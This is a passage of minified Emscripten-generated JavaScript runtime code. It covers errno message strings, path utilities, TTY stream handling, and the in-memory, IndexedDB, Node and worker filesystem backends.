representable\",35:\"File locking deadlock error\",36:\"File or path name too long\",37:\"No record locks available\",38:\"Function not implemented\",39:\"Directory not empty\",40:\"Too many symbolic links\",42:\"No message of desired type\",43:\"Identifier removed\",44:\"Channel number out of range\",45:\"Level 2 not synchronized\",46:\"Level 3 halted\",47:\"Level 3 reset\",48:\"Link number out of range\",49:\"Protocol driver not attached\",50:\"No CSI structure available\",51:\"Level 2 halted\",52:\"Invalid exchange\",53:\"Invalid request descriptor\",54:\"Exchange full\",55:\"No anode\",56:\"Invalid request code\",57:\"Invalid slot\",59:\"Bad font file fmt\",60:\"Device not a stream\",61:\"No data (for no delay io)\",62:\"Timer expired\",63:\"Out of streams resources\",64:\"Machine is not on the network\",65:\"Package not installed\",66:\"The object is remote\",67:\"The link has been severed\",68:\"Advertise error\",69:\"Srmount error\",70:\"Communication error on send\",71:\"Protocol error\",72:\"Multihop attempted\",73:\"Cross mount point (not really error)\",74:\"Trying to read unreadable message\",75:\"Value too large for defined data type\",76:\"Given log. name not unique\",77:\"f.d. invalid for this operation\",78:\"Remote address changed\",79:\"Can   access a needed shared lib\",80:\"Accessing a corrupted shared lib\",81:\".lib section in a.out corrupted\",82:\"Attempting to link in too many libs\",83:\"Attempting to exec a shared library\",84:\"Illegal byte sequence\",86:\"Streams pipe error\",87:\"Too many users\",88:\"Socket operation on non-socket\",89:\"Destination address required\",90:\"Message too long\",91:\"Protocol wrong type for socket\",92:\"Protocol not available\",93:\"Unknown protocol\",94:\"Socket type not supported\",95:\"Not supported\",96:\"Protocol family not supported\",97:\"Address family not supported by protocol family\",98:\"Address already in use\",99:\"Address not available\",100:\"Network interface is not configured\",101:\"Network is unreachable\",102:\"Connection reset by network\",103:\"Connection aborted\",104:\"Connection reset by peer\",105:\"No buffer space available\",106:\"Socket is already connected\",107:\"Socket is not connected\",108:\"Can't send after socket shutdown\",109:\"Too many references\",110:\"Connection timed out\",111:\"Connection refused\",112:\"Host is down\",113:\"Host is unreachable\",114:\"Socket already connected\",115:\"Connection already in progress\",116:\"Stale file handle\",122:\"Quota exceeded\",123:\"No medium (in tape drive)\",125:\"Operation canceled\",130:\"Previous owner died\",131:\"State not recoverable\"};var PATH={splitPath:(function(filename){var splitPathRe=/^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/;return splitPathRe.exec(filename).slice(1)}),normalizeArray:(function(parts,allowAboveRoot){var up=0;for(var i=parts.length-1;i>=0;i--){var last=parts[i];if(last===\".\"){parts.splice(i,1)}else if(last===\"..\"){parts.splice(i,1);up++}else if(up){parts.splice(i,1);up--}}if(allowAboveRoot){for(;up;up--){parts.unshift(\"..\")}}return parts}),normalize:(function(path){var isAbsolute=path.charAt(0)===\"/\",trailingSlash=path.substr(-1)===\"/\";path=PATH.normalizeArray(path.split(\"/\").filter((function(p){return!!p})),!isAbsolute).join(\"/\");if(!path&&!isAbsolute){path=\".\"}if(path&&trailingSlash){path+=\"/\"}return(isAbsolute?\"/\":\"\")+path}),dirname:(function(path){var result=PATH.splitPath(path),root=result[0],dir=result[1];if(!root&&!dir){return\".\"}if(dir){dir=dir.substr(0,dir.length-1)}return root+dir}),basename:(function(path){if(path===\"/\")return\"/\";var lastSlash=path.lastIndexOf(\"/\");if(lastSlash===-1)return path;return path.substr(lastSlash+1)}),extname:(function(path){return PATH.splitPath(path)[3]}),join:(function(){var paths=Array.prototype.slice.call(arguments,0);return PATH.normalize(paths.join(\"/\"))}),join2:(function(l,r){return PATH.normalize(l+\"/\"+r)}),resolve:(function(){var resolvedPath=\"\",resolvedAbsolute=false;for(var i=arguments.length-1;i>=-1&&!resolvedAbsolute;i--){var path=i>=0?arguments[i]:FS.cwd();if(typeof path!==\"string\"){throw new TypeError(\"Arguments to path.resolve must be strings\")}else if(!path){return\"\"}resolvedPath=path+\"/\"+resolvedPath;resolvedAbsolute=path.charAt(0)===\"/\"}resolvedPath=PATH.normalizeArray(resolvedPath.split(\"/\").filter((function(p){return!!p})),!resolvedAbsolute).join(\"/\");return(resolvedAbsolute?\"/\":\"\")+resolvedPath||\".\"}),relative:(function(from,to){from=PATH.resolve(from).substr(1);to=PATH.resolve(to).substr(1);function trim(arr){var start=0;for(;start<arr.length;start++){if(arr[start]!==\"\")break}var end=arr.length-1;for(;end>=0;end--){if(arr[end]!==\"\")break}if(start>end)return[];return arr.slice(start,end-start+1)}var fromParts=trim(from.split(\"/\"));var toParts=trim(to.split(\"/\"));var length=Math.min(fromParts.length,toParts.length);var samePartsLength=length;for(var i=0;i<length;i++){if(fromParts[i]!==toParts[i]){samePartsLength=i;break}}var outputParts=[];for(var i=samePartsLength;i<fromParts.length;i++){outputParts.push(\"..\")}outputParts=outputParts.concat(toParts.slice(samePartsLength));return outputParts.join(\"/\")})};var TTY={ttys:[],init:(function(){}),shutdown:(function(){}),register:(function(dev,ops){TTY.ttys[dev]={input:[],output:[],ops:ops};FS.registerDevice(dev,TTY.stream_ops)}),stream_ops:{open:(function(stream){var tty=TTY.ttys[stream.node.rdev];if(!tty){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}stream.tty=tty;stream.seekable=false}),close:(function(stream){stream.tty.ops.flush(stream.tty)}),flush:(function(stream){stream.tty.ops.flush(stream.tty)}),read:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.get_char){throw new FS.ErrnoError(ERRNO_CODES.ENXIO)}var bytesRead=0;for(var i=0;i<length;i++){var result;try{result=stream.tty.ops.get_char(stream.tty)}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return bytesRead}),write:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.put_char){throw new FS.ErrnoError(ERRNO_CODES.ENXIO)}for(var i=0;i<length;i++){try{stream.tty.ops.put_char(stream.tty,buffer[offset+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return i})},default_tty_ops:{get_char:(function(tty){if(!tty.input.length){var result=null;if(ENVIRONMENT_IS_NODE){var BUFSIZE=256;var buf=new Buffer(BUFSIZE);var bytesRead=0;var isPosixPlatform=process.platform!=\"win32\";var fd=process.stdin.fd;if(isPosixPlatform){var usingDevice=false;try{fd=fs.openSync(\"/dev/stdin\",\"r\");usingDevice=true}catch(e){}}try{bytesRead=fs.readSync(fd,buf,0,BUFSIZE,null)}catch(e){if(e.toString().indexOf(\"EOF\")!=-1)bytesRead=0;else throw e}if(usingDevice){fs.closeSync(fd)}if(bytesRead>0){result=buf.slice(0,bytesRead).toString(\"utf-8\")}else{result=null}}else if(typeof window!=\"undefined\"&&typeof window.prompt==\"function\"){result=window.prompt(\"Input: \");if(result!==null){result+=\"\\n\"}}else if(typeof readline==\"function\"){result=readline();if(result!==null){result+=\"\\n\"}}if(!result){return null}tty.input=intArrayFromString(result,true)}return tty.input.shift()}),put_char:(function(tty,val){if(val===null||val===10){out(UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){out(UTF8ArrayToString(tty.output,0));tty.output=[]}})},default_tty1_ops:{put_char:(function(tty,val){if(val===null||val===10){err(UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){err(UTF8ArrayToString(tty.output,0));tty.output=[]}})}};var MEMFS={ops_table:null,mount:(function(mount){return MEMFS.createNode(null,\"/\",16384|511,0)}),createNode:(function(parent,name,mode,dev){if(FS.isBlkdev(mode)||FS.isFIFO(mode)){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(!MEMFS.ops_table){MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}}}var node=FS.createNode(parent,name,mode,dev);if(FS.isDir(node.mode)){node.node_ops=MEMFS.ops_table.dir.node;node.stream_ops=MEMFS.ops_table.dir.stream;node.contents={}}else if(FS.isFile(node.mode)){node.node_ops=MEMFS.ops_table.file.node;node.stream_ops=MEMFS.ops_table.file.stream;node.usedBytes=0;node.contents=null}else if(FS.isLink(node.mode)){node.node_ops=MEMFS.ops_table.link.node;node.stream_ops=MEMFS.ops_table.link.stream}else if(FS.isChrdev(node.mode)){node.node_ops=MEMFS.ops_table.chrdev.node;node.stream_ops=MEMFS.ops_table.chrdev.stream}node.timestamp=Date.now();if(parent){parent.contents[name]=node}return node}),getFileDataAsRegularArray:(function(node){if(node.contents&&node.contents.subarray){var arr=[];for(var i=0;i<node.usedBytes;++i)arr.push(node.contents[i]);return arr}return node.contents}),getFileDataAsTypedArray:(function(node){if(!node.contents)return new Uint8Array;if(node.contents.subarray)return node.contents.subarray(0,node.usedBytes);return new Uint8Array(node.contents)}),expandFileStorage:(function(node,newCapacity){if(node.contents&&node.contents.subarray&&newCapacity>node.contents.length){node.contents=MEMFS.getFileDataAsRegularArray(node);node.usedBytes=node.contents.length}if(!node.contents||node.contents.subarray){var prevCapacity=node.contents?node.contents.length:0;if(prevCapacity>=newCapacity)return;var CAPACITY_DOUBLING_MAX=1024*1024;newCapacity=Math.max(newCapacity,prevCapacity*(prevCapacity<CAPACITY_DOUBLING_MAX?2:1.125)|0);if(prevCapacity!=0)newCapacity=Math.max(newCapacity,256);var oldContents=node.contents;node.contents=new Uint8Array(newCapacity);if(node.usedBytes>0)node.contents.set(oldContents.subarray(0,node.usedBytes),0);return}if(!node.contents&&newCapacity>0)node.contents=[];while(node.contents.length<newCapacity)node.contents.push(0)}),resizeFileStorage:(function(node,newSize){if(node.usedBytes==newSize)return;if(newSize==0){node.contents=null;node.usedBytes=0;return}if(!node.contents||node.contents.subarray){var oldContents=node.contents;node.contents=new Uint8Array(new ArrayBuffer(newSize));if(oldContents){node.contents.set(oldContents.subarray(0,Math.min(newSize,node.usedBytes)))}node.usedBytes=newSize;return}if(!node.contents)node.contents=[];if(node.contents.length>newSize)node.contents.length=newSize;else while(node.contents.length<newSize)node.contents.push(0);node.usedBytes=newSize}),node_ops:{getattr:(function(node){var attr={};attr.dev=FS.isChrdev(node.mode)?node.id:1;attr.ino=node.id;attr.mode=node.mode;attr.nlink=1;attr.uid=0;attr.gid=0;attr.rdev=node.rdev;if(FS.isDir(node.mode)){attr.size=4096}else if(FS.isFile(node.mode)){attr.size=node.usedBytes}else if(FS.isLink(node.mode)){attr.size=node.link.length}else{attr.size=0}attr.atime=new Date(node.timestamp);attr.mtime=new Date(node.timestamp);attr.ctime=new Date(node.timestamp);attr.blksize=4096;attr.blocks=Math.ceil(attr.size/attr.blksize);return attr}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}if(attr.size!==undefined){MEMFS.resizeFileStorage(node,attr.size)}}),lookup:(function(parent,name){throw FS.genericErrors[ERRNO_CODES.ENOENT]}),mknod:(function(parent,name,mode,dev){return MEMFS.createNode(parent,name,mode,dev)}),rename:(function(old_node,new_dir,new_name){if(FS.isDir(old_node.mode)){var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(new_node){for(var i in new_node.contents){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}}}delete old_node.parent.contents[old_node.name];old_node.name=new_name;new_dir.contents[new_name]=old_node;old_node.parent=new_dir}),unlink:(function(parent,name){delete parent.contents[name]}),rmdir:(function(parent,name){var node=FS.lookupNode(parent,name);for(var i in node.contents){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}delete parent.contents[name]}),readdir:(function(node){var entries=[\".\",\"..\"];for(var key in node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return entries}),symlink:(function(parent,newname,oldpath){var node=MEMFS.createNode(parent,newname,511|40960,0);node.link=oldpath;return node}),readlink:(function(node){if(!FS.isLink(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return node.link})},stream_ops:{read:(function(stream,buffer,offset,length,position){var contents=stream.node.contents;if(position>=stream.node.usedBytes)return 0;var size=Math.min(stream.node.usedBytes-position,length);assert(size>=0);if(size>8&&contents.subarray){buffer.set(contents.subarray(position,position+size),offset)}else{for(var i=0;i<size;i++)buffer[offset+i]=contents[position+i]}return size}),write:(function(stream,buffer,offset,length,position,canOwn){if(!length)return 0;var node=stream.node;node.timestamp=Date.now();if(buffer.subarray&&(!node.contents||node.contents.subarray)){if(canOwn){node.contents=buffer.subarray(offset,offset+length);node.usedBytes=length;return length}else if(node.usedBytes===0&&position===0){node.contents=new Uint8Array(buffer.subarray(offset,offset+length));node.usedBytes=length;return length}else if(position+length<=node.usedBytes){node.contents.set(buffer.subarray(offset,offset+length),position);return length}}MEMFS.expandFileStorage(node,position+length);if(node.contents.subarray&&buffer.subarray)node.contents.set(buffer.subarray(offset,offset+length),position);else{for(var i=0;i<length;i++){node.contents[position+i]=buffer[offset+i]}}node.usedBytes=Math.max(node.usedBytes,position+length);return length}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.usedBytes}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position}),allocate:(function(stream,offset,length){MEMFS.expandFileStorage(stream.node,offset+length);stream.node.usedBytes=Math.max(stream.node.usedBytes,offset+length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}var ptr;var allocated;var contents=stream.node.contents;if(!(flags&2)&&(contents.buffer===buffer||contents.buffer===buffer.buffer)){allocated=false;ptr=contents.byteOffset}else{if(position>0||position+length<stream.node.usedBytes){if(contents.subarray){contents=contents.subarray(position,position+length)}else{contents=Array.prototype.slice.call(contents,position,position+length)}}allocated=true;var fromHeap=buffer.buffer==HEAP8.buffer;ptr=_malloc(length);if(!ptr){throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)}(fromHeap?HEAP8:buffer).set(contents,ptr)}return{ptr:ptr,allocated:allocated}}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}if(mmapFlags&2){return 0}var bytesWritten=MEMFS.stream_ops.write(stream,buffer,0,length,offset,false);return 0})}};var IDBFS={dbs:{},indexedDB:(function(){if(typeof indexedDB!==\"undefined\")return indexedDB;var ret=null;if(typeof window===\"object\")ret=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB;assert(ret,\"IDBFS used, but indexedDB not supported\");return ret}),DB_VERSION:21,DB_STORE_NAME:\"FILE_DATA\",mount:(function(mount){return MEMFS.mount.apply(null,arguments)}),syncfs:(function(mount,populate,callback){IDBFS.getLocalSet(mount,(function(err,local){if(err)return callback(err);IDBFS.getRemoteSet(mount,(function(err,remote){if(err)return callback(err);var src=populate?remote:local;var dst=populate?local:remote;IDBFS.reconcile(src,dst,callback)}))}))}),getDB:(function(name,callback){var db=IDBFS.dbs[name];if(db){return callback(null,db)}var req;try{req=IDBFS.indexedDB().open(name,IDBFS.DB_VERSION)}catch(e){return callback(e)}if(!req){return callback(\"Unable to connect to IndexedDB\")}req.onupgradeneeded=(function(e){var db=e.target.result;var transaction=e.target.transaction;var fileStore;if(db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)){fileStore=transaction.objectStore(IDBFS.DB_STORE_NAME)}else{fileStore=db.createObjectStore(IDBFS.DB_STORE_NAME)}if(!fileStore.indexNames.contains(\"timestamp\")){fileStore.createIndex(\"timestamp\",\"timestamp\",{unique:false})}});req.onsuccess=(function(){db=req.result;IDBFS.dbs[name]=db;callback(null,db)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),getLocalSet:(function(mount,callback){var entries={};function isRealDir(p){return p!==\".\"&&p!==\"..\"}function toAbsolute(root){return(function(p){return PATH.join2(root,p)})}var check=FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));while(check.length){var path=check.pop();var stat;try{stat=FS.stat(path)}catch(e){return callback(e)}if(FS.isDir(stat.mode)){check.push.apply(check,FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))}entries[path]={timestamp:stat.mtime}}return callback(null,{type:\"local\",entries:entries})}),getRemoteSet:(function(mount,callback){var entries={};IDBFS.getDB(mount.mountpoint,(function(err,db){if(err)return callback(err);try{var transaction=db.transaction([IDBFS.DB_STORE_NAME],\"readonly\");transaction.onerror=(function(e){callback(this.error);e.preventDefault()});var store=transaction.objectStore(IDBFS.DB_STORE_NAME);var index=store.index(\"timestamp\");index.openKeyCursor().onsuccess=(function(event){var cursor=event.target.result;if(!cursor){return callback(null,{type:\"remote\",db:db,entries:entries})}entries[cursor.primaryKey]={timestamp:cursor.key};cursor.continue()})}catch(e){return callback(e)}}))}),loadLocalEntry:(function(path,callback){var stat,node;try{var lookup=FS.lookupPath(path);node=lookup.node;stat=FS.stat(path)}catch(e){return callback(e)}if(FS.isDir(stat.mode)){return callback(null,{timestamp:stat.mtime,mode:stat.mode})}else if(FS.isFile(stat.mode)){node.contents=MEMFS.getFileDataAsTypedArray(node);return callback(null,{timestamp:stat.mtime,mode:stat.mode,contents:node.contents})}else{return callback(new Error(\"node type not supported\"))}}),storeLocalEntry:(function(path,entry,callback){try{if(FS.isDir(entry.mode)){FS.mkdir(path,entry.mode)}else if(FS.isFile(entry.mode)){FS.writeFile(path,entry.contents,{canOwn:true})}else{return callback(new Error(\"node type not supported\"))}FS.chmod(path,entry.mode);FS.utime(path,entry.timestamp,entry.timestamp)}catch(e){return callback(e)}callback(null)}),removeLocalEntry:(function(path,callback){try{var lookup=FS.lookupPath(path);var stat=FS.stat(path);if(FS.isDir(stat.mode)){FS.rmdir(path)}else if(FS.isFile(stat.mode)){FS.unlink(path)}}catch(e){return callback(e)}callback(null)}),loadRemoteEntry:(function(store,path,callback){var req=store.get(path);req.onsuccess=(function(event){callback(null,event.target.result)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),storeRemoteEntry:(function(store,path,entry,callback){var req=store.put(entry,path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),removeRemoteEntry:(function(store,path,callback){var req=store.delete(path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),reconcile:(function(src,dst,callback){var total=0;var create=[];Object.keys(src.entries).forEach((function(key){var e=src.entries[key];var e2=dst.entries[key];if(!e2||e.timestamp>e2.timestamp){create.push(key);total++}}));var remove=[];Object.keys(dst.entries).forEach((function(key){var e=dst.entries[key];var e2=src.entries[key];if(!e2){remove.push(key);total++}}));if(!total){return callback(null)}var completed=0;var db=src.type===\"remote\"?src.db:dst.db;var transaction=db.transaction([IDBFS.DB_STORE_NAME],\"readwrite\");var store=transaction.objectStore(IDBFS.DB_STORE_NAME);function done(err){if(err){if(!done.errored){done.errored=true;return callback(err)}return}if(++completed>=total){return callback(null)}}transaction.onerror=(function(e){done(this.error);e.preventDefault()});create.sort().forEach((function(path){if(dst.type===\"local\"){IDBFS.loadRemoteEntry(store,path,(function(err,entry){if(err)return done(err);IDBFS.storeLocalEntry(path,entry,done)}))}else{IDBFS.loadLocalEntry(path,(function(err,entry){if(err)return done(err);IDBFS.storeRemoteEntry(store,path,entry,done)}))}}));remove.sort().reverse().forEach((function(path){if(dst.type===\"local\"){IDBFS.removeLocalEntry(path,done)}else{IDBFS.removeRemoteEntry(store,path,done)}}))})};var NODEFS={isWindows:false,staticInit:(function(){NODEFS.isWindows=!!process.platform.match(/^win/);var flags=process[\"binding\"](\"constants\");if(flags[\"fs\"]){flags=flags[\"fs\"]}NODEFS.flagsForNodeMap={\"1024\":flags[\"O_APPEND\"],\"64\":flags[\"O_CREAT\"],\"128\":flags[\"O_EXCL\"],\"0\":flags[\"O_RDONLY\"],\"2\":flags[\"O_RDWR\"],\"4096\":flags[\"O_SYNC\"],\"512\":flags[\"O_TRUNC\"],\"1\":flags[\"O_WRONLY\"]}}),bufferFrom:(function(arrayBuffer){return Buffer.alloc?Buffer.from(arrayBuffer):new Buffer(arrayBuffer)}),mount:(function(mount){assert(ENVIRONMENT_IS_NODE);return NODEFS.createNode(null,\"/\",NODEFS.getMode(mount.opts.root),0)}),createNode:(function(parent,name,mode,dev){if(!FS.isDir(mode)&&!FS.isFile(mode)&&!FS.isLink(mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=FS.createNode(parent,name,mode);node.node_ops=NODEFS.node_ops;node.stream_ops=NODEFS.stream_ops;return node}),getMode:(function(path){var stat;try{stat=fs.lstatSync(path);if(NODEFS.isWindows){stat.mode=stat.mode|(stat.mode&292)>>2}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return stat.mode}),realPath:(function(node){var parts=[];while(node.parent!==node){parts.push(node.name);node=node.parent}parts.push(node.mount.opts.root);parts.reverse();return PATH.join.apply(null,parts)}),flagsForNode:(function(flags){flags&=~2097152;flags&=~2048;flags&=~32768;flags&=~524288;var newFlags=0;for(var k in NODEFS.flagsForNodeMap){if(flags&k){newFlags|=NODEFS.flagsForNodeMap[k];flags^=k}}if(!flags){return newFlags}else{throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}}),node_ops:{getattr:(function(node){var path=NODEFS.realPath(node);var stat;try{stat=fs.lstatSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(NODEFS.isWindows&&!stat.blksize){stat.blksize=4096}if(NODEFS.isWindows&&!stat.blocks){stat.blocks=(stat.size+stat.blksize-1)/stat.blksize|0}return{dev:stat.dev,ino:stat.ino,mode:stat.mode,nlink:stat.nlink,uid:stat.uid,gid:stat.gid,rdev:stat.rdev,size:stat.size,atime:stat.atime,mtime:stat.mtime,ctime:stat.ctime,blksize:stat.blksize,blocks:stat.blocks}}),setattr:(function(node,attr){var path=NODEFS.realPath(node);try{if(attr.mode!==undefined){fs.chmodSync(path,attr.mode);node.mode=attr.mode}if(attr.timestamp!==undefined){var date=new Date(attr.timestamp);fs.utimesSync(path,date,date)}if(attr.size!==undefined){fs.truncateSync(path,attr.size)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),lookup:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);var mode=NODEFS.getMode(path);return NODEFS.createNode(parent,name,mode)}),mknod:(function(parent,name,mode,dev){var node=NODEFS.createNode(parent,name,mode,dev);var path=NODEFS.realPath(node);try{if(FS.isDir(node.mode)){fs.mkdirSync(path,node.mode)}else{fs.writeFileSync(path,\"\",{mode:node.mode})}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return node}),rename:(function(oldNode,newDir,newName){var oldPath=NODEFS.realPath(oldNode);var newPath=PATH.join2(NODEFS.realPath(newDir),newName);try{fs.renameSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),unlink:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.unlinkSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),rmdir:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.rmdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readdir:(function(node){var path=NODEFS.realPath(node);try{return fs.readdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),symlink:(function(parent,newName,oldPath){var newPath=PATH.join2(NODEFS.realPath(parent),newName);try{fs.symlinkSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readlink:(function(node){var path=NODEFS.realPath(node);try{path=fs.readlinkSync(path);path=NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root),path);return path}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}})},stream_ops:{open:(function(stream){var path=NODEFS.realPath(stream.node);try{if(FS.isFile(stream.node.mode)){stream.nfd=fs.openSync(path,NODEFS.flagsForNode(stream.flags))}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),close:(function(stream){try{if(FS.isFile(stream.node.mode)&&stream.nfd){fs.closeSync(stream.nfd)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),read:(function(stream,buffer,offset,length,position){if(length===0)return 0;try{return fs.readSync(stream.nfd,NODEFS.bufferFrom(buffer.buffer),offset,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),write:(function(stream,buffer,offset,length,position){try{return fs.writeSync(stream.nfd,NODEFS.bufferFrom(buffer.buffer),offset,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){try{var stat=fs.fstatSync(stream.nfd);position+=stat.size}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};var WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:(function(mount){assert(ENVIRONMENT_IS_WORKER);if(!WORKERFS.reader)WORKERFS.reader=new FileReaderSync;var root=WORKERFS.createNode(null,\"/\",WORKERFS.DIR_MODE,0);var createdParents={};function ensureParent(path){var parts=path.split(\"/\");var parent=root;for(var i=0;i<parts.length-1;i++){var curr=parts.slice(0,i+1).join(\"/\");if(!createdParents[curr]){createdParents[curr]=WORKERFS.createNode(parent,parts[i],WORKERFS.DIR_MODE,0)}parent=createdParents[curr]}return parent}function base(path){var parts=path.split(\"/\");return parts[parts.length-1]}Array.prototype.forEach.call(mount.opts[\"files\"]||[],(function(file){WORKERFS.createNode(ensureParent(file.name),base(file.name),WORKERFS.FILE_MODE,0,file,file.lastModifiedDate)}));(mount.opts[\"blobs\"]||[]).forEach((function(obj){WORKERFS.createNode(ensureParent(obj[\"name\"]),base(obj[\"name\"]),WORKERFS.FILE_MODE,0,obj[\"data\"])}));(mount.opts[\"packages\"]||[]).forEach((function(pack){pack[\"metadata\"].files.forEach((function(file){var name=file.filename.substr(1);WORKERFS.createNode(ensureParent(name),base(name),WORKERFS.FILE_MODE,0,pack[\"blob\"].slice(file.start,file.end))}))}));return root}),createNode:(function(parent,name,mode,dev,contents,mtime){var node=FS.createNode(parent,name,mode);node.mode=mode;node.node_ops=WORKERFS.node_ops;node.stream_ops=WORKERFS.stream_ops;node.timestamp=(mtime||new Date).getTime();assert(WORKERFS.FILE_MODE!==WORKERFS.DIR_MODE);if(mode===WORKERFS.FILE_MODE){node.size=contents.size;node.contents=contents}else{node.size=4096;node.contents={}}if(parent){parent.contents[name]=node}return node}),node_ops:{getattr:(function(node){return{dev:1,ino:undefined,mode:node.mode,nlink:1,uid:0,gid:0,rdev:undefined,size:node.size,atime:new Date(node.timestamp),mtime:new Date(node.timestamp),ctime:new Date(node.timestamp),blksize:4096,blocks:Math.ceil(node.size/4096)}}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}}),lookup:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}),mknod:(function(parent,name,mode,dev){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),rename:(function(oldNode,newDir,newName){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),unlink:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),rmdir:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),readdir:(function(node){var entries=[\".\",\"..\"];for(var key in node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return entries}),symlink:(function(parent,newName,oldPath){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),readlink:(function(node){throw new FS.ErrnoError(ERRNO_CODES.EPERM)})},stream_ops:{read:(function(stream,buffer,offset,length,position){if(position>=stream.node.size)return 0;var chunk=stream.node.contents.slice(position,position+length);var ab=WORKERFS.reader.readAsArrayBuffer(chunk);buffer.set(new Uint8Array(ab),offset);return chunk.size}),write:(function(stream,buffer,offset,length,position){throw new FS.ErrnoError(ERRNO_CODES.EIO)}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else 